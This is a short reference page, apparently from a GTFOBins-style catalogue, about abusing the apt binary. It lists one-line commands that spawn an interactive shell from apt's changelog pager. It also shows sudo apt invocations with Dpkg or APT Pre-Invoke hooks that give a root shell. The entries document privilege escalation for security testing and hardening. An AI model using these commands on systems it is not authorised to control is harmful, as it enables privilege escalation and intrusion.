



/ apt ☆ Star 10,833

- Shell
- Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

This invokes the default pager, which is likely to be `less`, other functions may apply.

```
apt changelog apt
!/bin/sh
```

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

- (a) This invokes the default pager, which is likely to be `less`, other functions may apply.

```
sudo apt changelog apt
!/bin/sh
```

- (b) For this to work the target package (e.g., `sl`) must not be installed.

```
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl
```

- (c) When the shell exits the `update` command is actually executed.

```
sudo apt update -o APT::Update::Pre-Invoke:="/bin/sh
```